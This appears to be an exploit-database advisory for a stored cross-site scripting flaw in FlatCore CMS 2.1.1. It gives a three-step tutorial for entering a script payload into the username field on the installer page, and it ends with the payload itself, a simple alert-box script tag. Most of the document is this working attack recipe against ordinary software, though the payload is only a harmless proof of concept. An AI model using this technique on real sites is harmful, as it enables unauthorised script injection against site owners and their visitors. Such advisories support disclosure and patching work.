FlatCore CMS version 2.1.1 suffers from a persistent cross site scripting vulnerability.
2f856cbea74b462a535761afd3c4680786b7a8aabb207ce2e0f7908ac2261f44
# Exploit Title: FlatCore CMS 2.1.1 -Stored Cross Site Scripting
# Date: 2020-09-24
# Exploit Author: Sinem Şahin
# Vendor Homepage: https://flatcore.org/
# Version: 2.1.1
# Tested on: Windows & XAMPP
==> Tutorial <==
1- Go to the following url. => http://(HOST)/install/index.php
2- Write XSS Payload into the username of the user account.
3- Press "Save" button.
XSS Payload ==> "<script>alert("usernameXSS")</script>